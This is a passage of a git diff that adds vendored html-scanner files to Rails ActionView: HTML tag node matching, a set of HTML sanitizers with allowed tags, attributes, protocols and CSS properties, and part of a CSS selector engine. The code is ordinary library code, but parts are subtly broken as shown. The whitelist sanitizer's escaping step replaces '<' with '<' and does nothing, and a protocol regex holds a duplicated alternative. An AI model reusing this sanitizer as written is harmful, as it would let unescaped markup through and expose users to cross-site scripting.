+      super(parent, line, pos)
+      @name = name
+      @attributes = attributes
+      @closing = closing
+    end
+
+    # A convenience for obtaining an attribute of the node. Returns +nil+ if
+    # the node has no attributes.
+    def [](attr)
+      @attributes ? @attributes[attr] : nil
+    end
+
+    # Returns non-+nil+ if this tag can contain child nodes.
+    def childless?(xml = false)
+      return false if xml && @closing.nil?
+      !@closing.nil? ||
+        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
+                    col|frame|input|isindex|param)$/ox
+    end
+
+    # Returns a textual representation of the node
+    def to_s
+      if @closing == :close
+        "</#{@name}>"
+      else
+        s = "<#{@name}"
+        @attributes.each do |k,v|
+          s << " #{k}"
+          s << "=\"#{v}\"" if String === v
+        end
+        s << " /" if @closing == :self
+        s << ">"
+        @children.each { |child| s << child.to_s }
+        s << "</#{@name}>" if @closing != :self && !@children.empty?
+        s
+      end
+    end
+
+    # If either the node or any of its children meet the given conditions, the
+    # matching node is returned. Otherwise, +nil+ is returned. (See the
+    # description of the valid conditions in the +match+ method.)
+    def find(conditions)
+      match(conditions) && self || super
+    end
+
+    # Returns +true+, indicating that this node represents an HTML tag.
+    def tag?
+      true
+    end
+
+    # Returns +true+ if the node meets any of the given conditions. The
+    # +conditions+ parameter must be a hash of any of the following keys
+    # (all are optional):
+    #
+    # * <tt>:tag</tt>: the node name must match the corresponding value
+    # * <tt>:attributes</tt>: a hash. The node's values must match the
+    #   corresponding values in the hash.
+    # * <tt>:parent</tt>: a hash. The node's parent must match the
+    #   corresponding hash.
+    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
+    #   must meet the criteria described by the hash.
+    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
+    #   meet the criteria described by the hash.
+    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
+    #   must meet the criteria described by the hash.
+    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
+    #   meet the criteria described by the hash.
+    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
+    #   the criteria described by the hash, and at least one sibling must match.
+    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
+    #   the criteria described by the hash, and at least one sibling must match.
+    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
+    #   keys:
+    # ** <tt>:count</tt>: either a number or a range which must equal (or
+    #    include) the number of children that match.
+    # ** <tt>:less_than</tt>: the number of matching children must be less than
+    #    this number.
+    # ** <tt>:greater_than</tt>: the number of matching children must be
+    #    greater than this number.
+    # ** <tt>:only</tt>: another hash consisting of the keys to use
+    #    to match on the children, and only matching children will be
+    #    counted.
+    #
+    # Conditions are matched using the following algorithm:
+    #
+    # * if the condition is a string, it must be a substring of the value.
+    # * if the condition is a regexp, it must match the value.
+    # * if the condition is a number, the value must match number.to_s.
+    # * if the condition is +true+, the value must not be +nil+.
+    # * if the condition is +false+ or +nil+, the value must be +nil+.
+    #
+    # Usage:
+    #
+    #   # test if the node is a "span" tag
+    #   node.match tag: "span"
+    #
+    #   # test if the node's parent is a "div"
+    #   node.match parent: { tag: "div" }
+    #
+    #   # test if any of the node's ancestors are "table" tags
+    #   node.match ancestor: { tag: "table" }
+    #
+    #   # test if any of the node's immediate children are "em" tags
+    #   node.match child: { tag: "em" }
+    #
+    #   # test if any of the node's descendants are "strong" tags
+    #   node.match descendant: { tag: "strong" }
+    #
+    #   # test if the node has between 2 and 4 span tags as immediate children
+    #   node.match children: { count: 2..4, only: { tag: "span" } }
+    #
+    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
+    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
+    #   # a "span" descendant that contains # text matching /hello world/:
+    #   node.match tag: "div",
+    #              ancestor: { tag: "ul" },
+    #              parent: { tag: "li",
+    #                           attributes: { class: "enum" } },
+    #              descendant: { tag: "span",
+    #                               child: /hello world/ }
+    def match(conditions)
+      conditions = validate_conditions(conditions)
+      # check content of child nodes
+      if conditions[:content]
+        if children.empty?
+          return false unless match_condition("", conditions[:content])
+        else
+          return false unless children.find { |child| child.match(conditions[:content]) }
+        end
+      end
+
+      # test the name
+      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
+
+      # test attributes
+      (conditions[:attributes] || {}).each do |key, value|
+        return false unless match_condition(self[key], value)
+      end
+
+      # test parent
+      return false unless parent.match(conditions[:parent]) if conditions[:parent]
+
+      # test children
+      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
+
+      # test ancestors
+      if conditions[:ancestor]
+        return false unless catch :found do
+          p = self
+          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
+        end
+      end
+
+      # test descendants
+      if conditions[:descendant]
+        return false unless children.find do |child|
+          # test the child
+          child.match(conditions[:descendant]) ||
+          # test the child's descendants
+          child.match(:descendant => conditions[:descendant])
+        end
+      end
+
+      # count children
+      if opts = conditions[:children]
+        matches = children.select do |c|
+          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
+        end
+
+        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
+        opts.each do |key, value|
+          next if key == :only
+          case key
+            when :count
+              if Integer === value
+                return false if matches.length != value
+              else
+                return false unless value.include?(matches.length)
+              end
+            when :less_than
+              return false unless matches.length < value
+            when :greater_than
+              return false unless matches.length > value
+            else raise "unknown count condition #{key}"
+          end
+        end
+      end
+
+      # test siblings
+      if conditions[:sibling] || conditions[:before] || conditions[:after]
+        siblings = parent ? parent.children : []
+        self_index = siblings.index(self)
+
+        if conditions[:sibling]
+          return false unless siblings.detect do |s|
+            s != self && s.match(conditions[:sibling])
+          end
+        end
+
+        if conditions[:before]
+          return false unless siblings[self_index+1..-1].detect do |s|
+            s != self && s.match(conditions[:before])
+          end
+        end
+
+        if conditions[:after]
+          return false unless siblings[0,self_index].detect do |s|
+            s != self && s.match(conditions[:after])
+          end
+        end
+      end
+
+      true
+    end
+
+    def ==(node)
+      return false unless super
+      return false unless closing == node.closing && self.name == node.name
+      attributes == node.attributes
+    end
+
+    private
+      # Match the given value to the given condition.
+      def match_condition(value, condition)
+        case condition
+          when String
+            value && value == condition
+          when Regexp
+            value && value.match(condition)
+          when Numeric
+            value == condition.to_s
+          when true
+            !value.nil?
+          when false, nil
+            value.nil?
+          else
+            false
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
new file mode 100644
index 0000000..ed34eec
--- /dev/null
+++ b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
@@ -0,0 +1,188 @@
+require 'set'
+require 'cgi'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module HTML
+  class Sanitizer
+    def sanitize(text, options = {})
+      validate_options(options)
+      return text unless sanitizeable?(text)
+      tokenize(text, options).join
+    end
+
+    def sanitizeable?(text)
+      !(text.nil? || text.empty? || !text.index("<"))
+    end
+
+  protected
+    def tokenize(text, options)
+      tokenizer = HTML::Tokenizer.new(text)
+      result = []
+      while token = tokenizer.next
+        node = Node.parse(nil, 0, 0, token, false)
+        process_node node, result, options
+      end
+      result
+    end
+
+    def process_node(node, result, options)
+      result << node.to_s
+    end
+
+    def validate_options(options)
+      if options[:tags] && !options[:tags].is_a?(Enumerable)
+        raise ArgumentError, "You should pass :tags as an Enumerable"
+      end
+
+      if options[:attributes] && !options[:attributes].is_a?(Enumerable)
+        raise ArgumentError, "You should pass :attributes as an Enumerable"
+      end
+    end
+  end
+
+  class FullSanitizer < Sanitizer
+    def sanitize(text, options = {})
+      result = super
+      # strip any comments, and if they have a newline at the end (ie. line with
+      # only a comment) strip that too
+      result = result.gsub(/<!--(.*?)-->[\n]?/m, "") if (result && result =~ /<!--(.*?)-->[\n]?/m)
+      # Recurse - handle all dirty nested tags
+      result == text ? result : sanitize(result, options)
+    end
+
+    def process_node(node, result, options)
+      result << node.to_s if node.class == HTML::Text
+    end
+  end
+
+  class LinkSanitizer < FullSanitizer
+    cattr_accessor :included_tags, :instance_writer => false
+    self.included_tags = Set.new(%w(a href))
+
+    def sanitizeable?(text)
+      !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
+    end
+
+  protected
+    def process_node(node, result, options)
+      result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name)
+    end
+  end
+
+  class WhiteListSanitizer < Sanitizer
+    [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
+     :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
+      class_attribute attr, :instance_writer => false
+    end
+
+    # A regular expression of the valid characters used to separate protocols like
+    # the ':' in 'http://foo.com'
+    self.protocol_separator     = /:|(&#0*58)|(&#x70)|(&#x0*3a)|(%|%)3A/i
+
+    # Specifies a Set of HTML attributes that can have URIs.
+    self.uri_attributes         = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
+
+    # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
+    # to just escaping harmless tags like <font>
+    self.bad_tags               = Set.new(%w(script))
+
+    # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
+    self.allowed_tags           = Set.new(%w(strong em b i p code pre tt samp kbd var sub
+      sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
+      acronym a img blockquote del ins))
+
+    # Specifies the default Set of html attributes that the #sanitize helper will leave
+    # in the allowed tag.
+    self.allowed_attributes     = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
+
+    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
+    self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
+      feed svn urn aim rsync tag ssh sftp rtsp afs))
+
+    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
+    self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
+      border-color border-left-color border-right-color border-top-color clear color cursor direction display
+      elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
+      overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
+      speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
+      width))
+
+    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
+    self.allowed_css_keywords   = Set.new(%w(auto aqua black block blue bold both bottom brown center
+      collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
+      nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
+
+    # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
+    self.shorthand_css_properties = Set.new(%w(background border margin padding))
+
+    # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
+    def sanitize_css(style)
+      # disallow urls
+      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
+
+      # gauntlet
+      if style !~ /\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*\z/ ||
+          style !~ /\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/
+        return ''
+      end
+
+      clean = []
+      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
+        if allowed_css_properties.include?(prop.downcase)
+          clean <<  prop + ': ' + val + ';'
+        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
+          unless val.split().any? do |keyword|
+            !allowed_css_keywords.include?(keyword) &&
+              keyword !~ /\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/
+          end
+            clean << prop + ': ' + val + ';'
+          end
+        end
+      end
+      clean.join(' ')
+    end
+
+  protected
+    def tokenize(text, options)
+      options[:parent] = []
+      options[:attributes] ||= allowed_attributes
+      options[:tags]       ||= allowed_tags
+      super
+    end
+
+    def process_node(node, result, options)
+      result << case node
+        when HTML::Tag
+          if node.closing == :close
+            options[:parent].shift
+          else
+            options[:parent].unshift node.name
+          end
+
+          process_attributes_for node, options
+
+          options[:tags].include?(node.name) ? node : nil
+        else
+          bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "<")
+      end
+    end
+
+    def process_attributes_for(node, options)
+      return unless node.attributes
+      node.attributes.keys.each do |attr_name|
+        value = node.attributes[attr_name].to_s
+
+        if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
+          node.attributes.delete(attr_name)
+        else
+          node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
+        end
+      end
+    end
+
+    def contains_bad_protocols?(attr_name, value)
+      uri_attributes.include?(attr_name) &&
+      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(&#x0*3a)|(%|%)3A/i && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
+    end
+  end
+end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
new file mode 100644
index 0000000..dfdd724
--- /dev/null
+++ b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
@@ -0,0 +1,830 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+module HTML
+
+  # Selects HTML elements using CSS 2 selectors.
+  #
+  # The +Selector+ class uses CSS selector expressions to match and select
+  # HTML elements.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "form.login[action=/login]"
+  # creates a new selector that matches any +form+ element with the class
+  # +login+ and an attribute +action+ with the value <tt>/login</tt>.
+  #
+  # === Matching Elements
+  #
+  # Use the #match method to determine if an element matches the selector.
+  #
+  # For simple selectors, the method returns an array with that element,
+  # or +nil+ if the element does not match. For complex selectors (see below)
+  # the method returns an array with all matched elements, of +nil+ if no
+  # match found.
+  #
+  # For example:
+  #   if selector.match(element)
+  #     puts "Element is a login form"
+  #   end
+  #
+  # === Selecting Elements
+  #
+  # Use the #select method to select all matching elements starting with
+  # one element and going through all children in depth-first order.
+  #
+  # This method returns an array of all matching elements, an empty array
+  # if no match is found
+  #
+  # For example:
+  #   selector = HTML::Selector.new "input[type=text]"
+  #   matches = selector.select(element)
+  #   matches.each do |match|
+  #     puts "Found text field with name #{match.attributes['name']}"
+  #   end
+  #
+  # === Expressions
+  #
+  # Selectors can match elements using any of the following criteria:
+  # * <tt>name</tt> -- Match an element based on its name (tag name).
+  #   For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
+  #   to match any element.
+  # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
+  #   <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
+  # * <tt>.class</tt> -- Match an element based on its class name, all
+  #   class names if more than one specified.
+  # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
+  # * <tt>[attr=value]</tt> -- Match an element that has the specified
+  #   attribute and value. (More operators are supported see below)
+  # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
+  #   such as <tt>:nth-child</tt> and <tt>:empty</tt>.
+  # * <tt>:not(expr)</tt> -- Match an element that does not match the
+  #   negation expression.
+  #
+  # When using a combination of the above, the element name comes first
+  # followed by identifier, class names, attributes, pseudo classes and
+  # negation in any order. Do not separate these parts with spaces!
+  # Space separation is used for descendant selectors.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "form.login[action=/login]"
+  # The matched element must be of type +form+ and have the class +login+.
+  # It may have other classes, but the class +login+ is required to match.
+  # It must also have an attribute called +action+ with the value
+  # <tt>/login</tt>.
+  #
+  # This selector will match the following element:
+  #   <form class="login form" method="post" action="/login">
+  # but will not match the element:
+  #   <form method="post" action="/logout">
+  #
+  # === Attribute Values
+  #
+  # Several operators are supported for matching attributes:
+  # * <tt>name</tt> -- The element must have an attribute with that name.
+  # * <tt>name=value</tt> -- The element must have an attribute with that
+  #   name and value.
+  # * <tt>name^=value</tt> -- The attribute value must start with the
+  #   specified value.
+  # * <tt>name$=value</tt> -- The attribute value must end with the
+  #   specified value.
+  # * <tt>name*=value</tt> -- The attribute value must contain the
+  #   specified value.
+  # * <tt>name~=word</tt> -- The attribute value must contain the specified
+  #   word (space separated).
+  # * <tt>name|=word</tt> -- The attribute value must start with specified
+  #   word.
+  #
+  # For example, the following two selectors match the same element:
+  #   #my_id
+  #   [id=my_id]
+  # and so do the following two selectors:
+  #   .my_class
+  #   [class~=my_class]
+  #
+  # === Alternatives, siblings, children
+  #
+  # Complex selectors use a combination of expressions to match elements:
+  # * <tt>expr1 expr2</tt> -- Match any element against the second expression
+  #   if it has some parent element that matches the first expression.
+  # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
+  #   if it is the child of an element that matches the first expression.
+  # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
+  #   if it immediately follows an element that matches the first expression.
+  # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
+  #   that comes after an element that matches the first expression.
+  # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
+  #   or against the second expression.
+  #
+  # Since children and sibling selectors may match more than one element given
+  # the first element, the #match method may return more than one match.
+  #
+  # === Pseudo classes
+  #
+  # Pseudo classes were introduced in CSS 3. They are most often used to select
+  # elements in a given position:
+  # * <tt>:root</tt> -- Match the element only if it is the root element
+  #   (no parent element).
+  # * <tt>:empty</tt> -- Match the element only if it has no child elements,
+  #   and no text content.
+  # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
+  #   as its text content (ignoring leading and trailing whitespace).
+  # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
+  #   of its parent element.
+  # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
+  #   of its parent element and its type.
+  # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
+  #   of its parent element.
+  # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
+  #   of its parent element of its type.
+  # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
+  #   of its parent element.
+  # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
+  #   of its parent element of its type.
+  # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
+  #   of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
+  # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
+  #   in each group of <tt>a</tt> child elements of its parent element.
+  # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
+  #   in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
+  #   elements of its parent element.
+  # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
+  #   Same as <tt>:nth-child(2n+1)</tt>.
+  # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
+  #   fourth). Same as <tt>:nth-child(2n+2)</tt>.
+  # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
+  # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
+  # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
+  #   only elements of its type.
+  # * <tt>:not(selector)</tt> -- Match the element only if the element does not
+  #   match the simple selector.
+  #
+  # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
+  # tricky and the CSS specification doesn't do a much better job explaining it.
+  # But after reading the examples and trying a few combinations, it's easy to
+  # figure out.
+  #
+  # For example:
+  #   table tr:nth-child(odd)
+  # Selects every second row in the table starting with the first one.
+  #
+  #   div p:nth-child(4)
+  # Selects the fourth paragraph in the +div+, but not if the +div+ contains
+  # other elements, since those are also counted.
+  #
+  #   div p:nth-of-type(4)
+  # Selects the fourth paragraph in the +div+, counting only paragraphs, and
+  # ignoring all other elements.
+  #
+  #   div p:nth-of-type(-n+4)
+  # Selects the first four paragraphs, ignoring all others.
+  #
+  # And you can always select an element that matches one set of rules but
+  # not another using <tt>:not</tt>. For example:
+  #   p:not(.post)
+  # Matches all paragraphs that do not have the class <tt>.post</tt>.
+  #
+  # === Substitution Values
+  #
+  # You can use substitution with identifiers, class names and element values.
+  # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
+  # next value in the argument list following the CSS expression.
+  #
+  # The substitution value may be a string or a regular expression. All other
+  # values are converted to strings.
+  #
+  # For example:
+  #   selector = HTML::Selector.new "#?", /^\d+$/
+  # matches any element whose identifier consists of one or more digits.
+  #
+  # See http://www.w3.org/TR/css3-selectors/
+  class Selector
+
+
+    # An invalid selector.
+    class InvalidSelectorError < StandardError #:nodoc:
+    end
+
+
+    class << self
+
+      # :call-seq:
+      #   Selector.for_class(cls) => selector
+      #
+      # Creates a new selector for the given class name.
+      def for_class(cls)
+        self.new([".?", cls])
+      end
+
+
+      # :call-seq:
+      #   Selector.for_id(id) => selector
+      #
+      # Creates a new selector for the given id.
+      def for_id(id)
+        self.new(["#?", id])
+      end
+
+    end
+
+
+    # :call-seq:
+    #   Selector.new(string, [values ...]) => selector
+    #
+    # Creates a new selector from a CSS 2 selector expression.
+    #
+    # The first argument is the selector expression. All other arguments
+    # are used for value substitution.
+    #
+    # Throws InvalidSelectorError is the selector expression is invalid.
+    def initialize(selector, *values)
+      raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
+      @source = ""
+      values = values[0] if values.size == 1 && values[0].is_a?(Array)
+
+      # We need a copy to determine if we failed to parse, and also
+      # preserve the original pass by-ref statement.
+      statement = selector.strip.dup
+
+      # Create a simple selector, along with negation.
+      simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
+
+      @alternates = []
+      @depends = nil
+
+      # Alternative selector.
+      if statement.sub!(/^\s*,\s*/, "")
+        second = Selector.new(statement, values)
+        @alternates << second
+        # If there are alternate selectors, we group them in the top selector.
+        if alternates = second.instance_variable_get(:@alternates)
+          second.instance_variable_set(:@alternates, [])
+          @alternates.concat alternates
+        end
+        @source << " , " << second.to_s
+      # Sibling selector: create a dependency into second selector that will
+      # match element immediately following this one.
+      elsif statement.sub!(/^\s*\+\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          if element = next_element(element)
+            second.match(element, first)
+          end
+        end
+        @source << " + " << second.to_s
+      # Adjacent selector: create a dependency into second selector that will
+      # match all elements following this one.
+      elsif statement.sub!(/^\s*~\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          while element = next_element(element)
+            if subset = second.match(element, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " ~ " << second.to_s
+      # Child selector: create a dependency into second selector that will
+      # match a child element of this one.
+      elsif statement.sub!(/^\s*>\s*/, "")
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          element.children.each do |child|
+            if child.tag? && subset = second.match(child, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " > " << second.to_s
+      # Descendant selector: create a dependency into second selector that
+      # will match all descendant elements of this one. Note,
+      elsif statement =~ /^\s+\S+/ && statement != selector
+        second = next_selector(statement, values)
+        @depends = lambda do |element, first|
+          matches = []
+          stack = element.children.reverse
+          while node = stack.pop
+            next unless node.tag?
+            if subset = second.match(node, first)
+              if first && !subset.empty?
+                matches << subset.first
+                break
+              else
+                matches.concat subset
+              end
+            elsif children = node.children
+              stack.concat children.reverse
+            end
+          end
+          matches.empty? ? nil : matches
+        end
+        @source << " " << second.to_s
+      else
+        # The last selector is where we check that we parsed
+        # all the parts.
+        unless statement.empty? || statement.strip.empty?
+          raise ArgumentError, "Invalid selector: #{statement}"
+        end
+      end
+    end
+
+
+    # :call-seq:
+    #   match(element, first?) => array or nil
+    #
+    # Matches an element against the selector.
+    #
+    # For a simple selector this method returns an array with the
+    # element if the element matches, nil otherwise.
+    #
+    # For a complex selector (sibling and descendant) this method
+    # returns an array with all matching elements, nil if no match is
+    # found.
+    #
+    # Use +first_only=true+ if you are only interested in the first element.
+    #
+    # For example:
+    #   if selector.match(element)
+    #     puts "Element is a login form"
+    #   end
+    def match(element, first_only = false)
+      # Match element if no element name or element name same as element name
+      if matched = (!@tag_name || @tag_name == element.name)
+        # No match if one of the attribute matches failed
+        for attr in @attributes
+          if element.attributes[attr[0]] !~ attr[1]
+            matched = false
+            break
+          end
+        end
+      end
+
+      # Pseudo class matches (nth-child, empty, etc).
+      if matched
+        for pseudo in @pseudo
+          unless pseudo.call(element)
+            matched = false
+            break
+          end
+        end
+      end
+
+      # Negation. Same rules as above, but we fail if a match is made.
+      if matched && @negation
+        for negation in @negation
+          if negation[:tag_name] == element.name
+            matched = false
+          else
+            for attr in negation[:attributes]
+              if element.attributes[attr[0]] =~ attr[1]
+                matched = false
+                break
+              end
+            end
+          end
+          if matched
+            for pseudo in negation[:pseudo]
+              if pseudo.call(element)
+                matched = false
+                break
+              end
+            end
+          end
+          break unless matched
+        end
+      end
+
+      # If element matched but depends on another element (child,
+      # sibling, etc), apply the dependent matches instead.
+      if matched && @depends
+        matches = @depends.call(element, first_only)
+      else
+        matches = matched ? [element] : nil
+      end
+
+      # If this selector is part of the group, try all the alternative
+      # selectors (unless first_only).
+      if !first_only || !matches
+        @alternates.each do |alternate|
+          break if matches && first_only
+          if subset = alternate.match(element, first_only)
+            if matches
+              matches.concat subset
+            else
+              matches = subset
+            end
+          end
+        end
+      end
+
+      matches
+    end
+
+
+    # :call-seq:
+    #   select(root) => array
+    #
+    # Selects and returns an array with all matching elements, beginning
+    # with one node and traversing through all children depth-first.
+    # Returns an empty array if no match is found.
+    #
+    # The root node may be any element in the document, or the document
+    # itself.
+    #
+    # For example:
+    #   selector = HTML::Selector.new "input[type=text]"
+    #   matches = selector.select(element)
+    #   matches.each do |match|
+    #     puts "Found text field with name #{match.attributes['name']}"
+    #   end
+    def select(root)
+      matches = []
+      stack = [root]
+      while node = stack.pop
+        if node.tag? && subset = match(node, false)
+          subset.each do |match|
+            matches << match unless matches.any? { |item| item.equal?(match) }
+          end
+        elsif children = node.children
+          stack.concat children.reverse
+        end
+      end
+      matches
+    end
+
+
+    # Similar to #select but returns the first matching element. Returns +nil+
+    # if no element matches the selector.
+    def select_first(root)
+      stack = [root]
+      while node = stack.pop
+        if node.tag? && subset = match(node, true)
+          return subset.first if !subset.empty?
+        elsif children = node.children
+          stack.concat children.reverse
+        end
+      end
+      nil
+    end
+
+
+    def to_s #:nodoc:
+      @source
+    end
+
+
+    # Returns the next element after this one. Skips sibling text nodes.
+    #
+    # With the +name+ argument, returns the next element with that name,
+    # skipping other sibling elements.
+    def next_element(element, name = nil)
+      if siblings = element.parent.children
+        found = false
+        siblings.each do |node|
+          if node.equal?(element)
+            found = true
+          elsif found && node.tag?
+            return node if (name.nil? || node.name == name)
+          end
+        end
+      end
+      nil
+    end
+
+
+  protected
+
+
+    # Creates a simple selector given the statement and array of
+    # substitution values.
+    #
+    # Returns a hash with the values +tag_name+, +attributes+,
+    # +pseudo+ (classes) and +negation+.
+    #
+    # Called the first time with +can_negate+ true to allow
+    # negation. Called a second time with false since negation
+    # cannot be negated.
+    def simple_selector(statement, values, can_negate = true)
+      tag_name = nil
+      attributes = []
+      pseudo = []
+      negation = []
+
+      # Element name. (Note that in negation, this can come at
+      # any order, but for simplicity we allow if only first).
+      statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
+        match.strip!
+        tag_name = match.downcase unless match == "*"
+        @source << match
+        "" # Remove
+      end
+
+      # Get identifier, class, attribute name, pseudo or negation.
+      while true
+        # Element identifier.
+        next if statement.sub!(/^#(\?|[\w\-]+)/) do
+          id = $1
+          if id == "?"
+            id = values.shift
+          end
+          @source << "##{id}"
+          id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
+          attributes << ["id", id]
+          "" # Remove
+        end
+
+        # Class name.
+        next if statement.sub!(/^\.([\w\-]+)/) do
+          class_name = $1
+          @source << ".#{class_name}"
+          class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
+          attributes << ["class", class_name]
+          "" # Remove
+        end
+
+        # Attribute value.
+        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do
+          name, equality, value = $1, $2, $3
+          if value == "?"
+            value = values.shift
+          else
+            # Handle single and double quotes.
+            value.strip!
+            if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
+              value = value[1..-2]
+            end
+          end
+          @source << "[#{name}#{equality}'#{value}']"
+          attributes << [name.downcase.strip, attribute_match(equality, value)]
+          "" # Remove
+        end
+
+        # Root element only.
+        next if statement.sub!(/^:root/) do
+          pseudo << lambda do |element|
+            element.parent.nil? || !element.parent.tag?
+          end
+          @source << ":root"
+          "" # Remove
+        end
+
+        # Nth-child including last and of-type.
+        next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
+          reverse = $1 == "last-"
+          of_type = $2 == "of-type"
+          @source << ":nth-#{$1}#{$2}("
+          case $3
+            when "odd"
+              pseudo << nth_child(2, 1, of_type, reverse)
+              @source << "odd)"
+            when "even"
+              pseudo << nth_child(2, 2, of_type, reverse)
+              @source << "even)"
+            when /^(\d+|\?)$/  # b only
+              b = ($1 == "?" ? values.shift : $1).to_i
+              pseudo << nth_child(0, b, of_type, reverse)
+              @source << "#{b})"
+            when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
+              a = ($1 == "?" ? values.shift :
